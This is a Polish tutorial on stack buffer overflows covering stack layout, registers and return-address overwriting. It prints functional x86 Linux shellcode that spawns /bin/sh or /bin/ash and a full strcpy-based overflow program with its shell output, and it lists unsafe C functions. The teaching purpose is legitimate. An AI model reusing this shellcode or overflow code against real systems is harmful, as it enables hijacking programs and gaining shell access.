Parę słów o przepełnieniu bufora.

Łukasz Pejas

Styczeń 2006

1 Bufor na stosie.

Stos służy między innymi do przekazywania parametrów do funkcji i do tworzenia zmiennych lokalnych funkcji. Jest czymś w rodzaju podręcznego schowka dla programisty, mechanizmem łatwego dostępu do danych lokalnych wewnątrz poszczególnych funkcji. Inną, ale nie mniej ważną rolą stosu jest przekazywanie informacji towarzyszących wywołaniu poszczególnych funkcji. Dzięki temu stos pełni rolę bufora przechowującego wszystkie dane potrzebne do zainicjowania i wykonania funkcji. Stos jest alokowany przy wejściu do funkcji i zwalniany przed jej opuszczeniem. Ponadto nie ulega zmianom jako struktura - najwyżej zmieniają się dane w nim przechowywane.

Stos ma budowę kolejkową, określaną jako Last In, First Out (LIFO). Zgodnie z nazwą, element kolejki zapisany jako ostatni jest odczytywany jako pierwszy, a zapisany jako pierwszy odczytywany jako ostatni. Stosy sterowane są przez wewnętrzne procedury procesorów, przede wszystkim ESP i EBP.

Należy sobie także uświadomić, że stosy mają charakter „odwrócony". W praktyce oznacza to, iż szczyt stosu stanowią komórki pamięci o najniższych adresach. Najniższe adresy są nadawane danym najnowszym – z punktu widzenia przepełnienia bufora jest to bardzo ważne. Ponieważ danym nowszym przydziela się niższe adresy, a zarazem są one umieszczane na szczycie stosu, to nadpisanie bufora od adresu najniższego do najwyższego umożliwia nadpisanie danych z dna stosu. Można powiedzieć, że stos „rośnie od góry". Tu leży klucz do powodzenia w przeprowadzaniu ataków – wspomniane nadpisanie komórek stosu ma bowiem doprowadzić do nadpisania wartości rejestru EIP (Extended Instruction Pointer).

Ze stosem związane są trzy rejestry:

EIP (rozszerzony wskaźnik instrukcji) – zawartość tego rejestru wskazuje adres następnej instrukcji do wykonywania; jest składany na dnie stosu;

ESP (rozszerzony wskaźnik stosu) – jego zawartość wskazuje aktualną pozycję na stosie i umożliwia odkładanie danych na stos i pobieranie ich ze stosu za pośrednictwem operacji push i pop lub przez odwołania do pamięci za pośrednictwem rejestru (operacja push przesuwa wskaźnik stosu w dół, a operacja pop do góry);

EBP (rozszerzony wskaźnik bazy) – rejestr niezmienny, pozostaje taki nawet podczas wykonywania funkcji, służy jako odnośnik do zmiennych alokowanych na stosie. Praktycznie zawsze odnosi się do stosu bieżącej funkcji.

Ramka stosu to obszar związany z realizacją danej funkcji (termin „funkcja" zawiera w tym przypadku wszystkie przekazane do niej parametry, wartość rejestru EIP oraz lokalne zmienne).

Ważną funkcją stosu jest przekazywanie parametrów do wywoływanej funkcji. Najważniejszymi zagadnieniami w tym zakresie są sposoby wykonywania instrukcji `call` oraz `ret`. Instrukcja `call` umożliwia wywołanie funkcji i służy do przekazania sterowania do innego fragmentu kodu z równoczesnym zapisaniem (odłożeniem na stos) adresu powrotnego (bardzo ważne!). Z kolei instrukcja `ret` wykonuje operację odwrotną – służy do powrotu z wywołanej funkcji i kontynuacji przetwarzania programu od instrukcji następującej bezpośrednio po odpowiedniej instrukcji `call`.

Kombinacja działania obu instrukcji umożliwia swobodne przeskakiwanie pomiędzy fragmentami kodu programu. Niemniej jednak czai się tu także niebezpieczeństwo związane z atakiem na bufor. Odłożenie na stosie wartości rejestru EIP i wspomniana już budowa stosu powodują, iż możliwe staje się nadpisanie adresu zawrotnego odkładanego przez `call`.

Nadpisanie adresu powrotnego w ataku `buffer overflow` polegać będzie na zastąpieniu adresu powrotnego innym adresem funkcji, do której tym samym zostanie wykonany skok. Niestety, skok ten spowoduje, że rozpocznie się przetwarzanie instrukcji (kodu) podrzuconego przez napastnika. Tym samym napastnik uzyska możliwość prowadzenia dalszych działań na zaatakowanej maszynie - choćby przez uruchomienie zdalnej powłoki.

Wiemy już, że zmienne lokalne umieszczane są w obszarze pamięci przeznaczonym dla stosu. Aby zmienne w stosie zachować, należy przeznaczyć (zadeklarować) dla nich bufor o określonym i stałym rozmiarze. Ponieważ stos rozszerza się w dół, to umieszczenie w zadeklarowanym buforze danych przekraczających jego rozmiar spowoduje nadpisanie dna stosu – w tym być może wartości rejestru EIP i adresu powrotu.

Nie każde wprowadzenie do bufora zbyt dużych danych spowoduje nadpisanie EIP i adresu powrotu. Aby precyzyjnie „trafić" w adres powrotu, należałoby znać dokładnie wielkość stosu. W innym przypadku napastnik zdany jest na strzelanie

na chybił trafił. Może więc udać mu się nadpisanie innych zmiennych lokalnych (jeśli wprowadzone dane są tylko trochę większe niż rozmiar bufora), rejestru EBP (jeśli są dużo większe) itd. W sumie napastnikowi zależy na nadpisaniu EIP i wykonaniu instrukcji `ret`. Pobrana zostanie wtedy nadpisana wartość, a procesor wykona skok na nieprawidłowy adres.

Najważniejsze jest więc przejęcie kontroli nad wartością rejestru EIP. To oczywiście oznacza, że napastnik nie wprowadza danych dowolnych (a jeśli nawet, to w takim przypadku wywoła „jedynie" błąd niespójności danych), lecz dane odpowiednio spreparowane, które doprowadzą do skoku do takiego obszaru pamięci, który zawierać będzie inny kod. Za pomocą tego kodu zostanie przeprowadzone działanie, które pozwoli urzeczywistnić prawdziwy cel ataku.

Dlaczego akurat język C (i jego pochodne) jest tak podatny na przepełnienia bufora? Przede wszystkim dlatego, że C oferuje wysoki stopień kontroli nad procesorem, co okupione jest „szczątkową" kontrolą typów. Nie ma w tym języku zabezpieczeń przed niewłaściwym wykorzystaniem danych. Dowodem jest to, iż większość błędów przepełnienia bufora wynika ze złej obsługi typów łańcuchowych danych.

2 ShellCode.

Oryginalne i pierwotne znaczenie tego słowa odnosiło się do kodu źródłowego, który miał za zadanie otworzyć powłokę systemową.

W dzisiejszych czasach termin ten oznacza instrukcje procesora powstałe w wyniku skompilowania programu napisanego w języku asembler. Ten specjalnie spreparowany kod wykonuje całą brudną robotę i stanowi rdzeń exploita, który ma jedynie za zadanie dostarczyć go w odpowiednie miejsce w pamięci. Shellcode służy crackerom do zdobywania uprawnień superużytkownika.

Przykładowy shellcode zapisany zgodnie z notacja języka C:

```
char shellcode[]=
    "\x31\xc0"        /* xorl    %eax,%eax     */
    "\x31\xdb"        /* xorl    %ebx,%ebx     */
    "\x31\xc9"        /* xorl    %ecx,%ecx     */
    "\xb0\x46"        /* movl    $0x46,%al     */
    "\xcd\x80"        /* int     $0x80         */
    "\x50"            /* pushl   %eax          */
    "\x68""/ash"      /* pushl   $0x6873612f   */
    "\x68""/bin"      /* pushl   $0x6e69622f   */
    "\x89\xe3"        /* movl    %esp,%ebx     */
    "\x50"            /* pushl   %eax          */
```

```
    "\x53"          /* pushl   %ebx          */
    "\x89\xe1"      /* movl    %esp,%ecx     */
    "\xb0\x0b"      /* movb    $0x0b,%al     */
    "\xcd\x80"      /* int     $0x80         */
;
```

Shellcode składa się z instrukcji asemblera zapisanych już w formie binarnej, w której wszystkie adresy muszą być zakodowane na stałe. Aby uniknąć bezwzględnych odwołań do pamięci generujących błąd naruszenia segmentacji programu, w kodzie tym używa się względnych referencji do komórek pamięci, większość adresów uzyskuje się ze stosu a skoki są wykonywanie nie do konkretnego miejsca w pamięci tylko o konkretną ilość instrukcji procesora w przód, bądź w tył.

3 Zły przykład.

```
overflow1.c
-----------------------------------------------
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"
        "\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
        "\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
        "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  strcpy(buffer,large_string);
}
-----------------------------------------------
```

```
------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------
```

Jak to działa? Wypełniliśmy tablicę `large_string[]` adresem bufora `buffer[]`, gdzie znajdować się będzie nasz kod. Następnie skopiowaliśmy `shellcode` na początek napisu `large_string`. Przy pomocy `strcpy()` skopiowaliśmy `large_string` do bufora `buffer`, bez sprawdzania czy nie przepełniliśmy bufora. Rezultatem jest nadpisanie adresu powrotu, nadpisaliśmy ten adres adresem miejsca gdzie umieszczony jest nasz `shellcode`. Kiedy zostanie osiągnięty koniec funkcji `main` zostanie podjęta próba powrotu, wynikiem czego będzie skok do naszych danych i uzyskanie powłoki (z prawami odpowiadającymi prawom wykonującego się programu).

4 Niebezpieczne miejsca

Niebezpieczne funkcje w C (używać rozważnie):

- `char* strcpy(char *strCel, const char *strZrodlo)`
  Kopiuje ciąg wskazany pod `strZrodlo` do ciągu `strCel`. Wystarczy, żeby wielkość ciągu `strZrodlo` była większa niż bufor przewidziany dla `strCel`.
- `char *strcat(char *strCel, const char *strZrodlo)`
  Dołącza ciąg z strZrodlo na koniec ciągu strCel
- `int sprintf(char* buffer, const char* format ...)`
  Umieszcza ciąg w buforze wskazanym przez zmienną `buffer`
- `char *gets(char *buffer)`
  Pobiera ciąg znakowy przekazany na wejście standardowe programu i umieszcza go w buforze wskazanym przez zmienną `buffer`
- `fscanf()`, `scanf()`, `vsprintf()`, `realpath()`, `getopt()`, `getpass()`, `streadd()`, `strecpy()` i `strtrns()`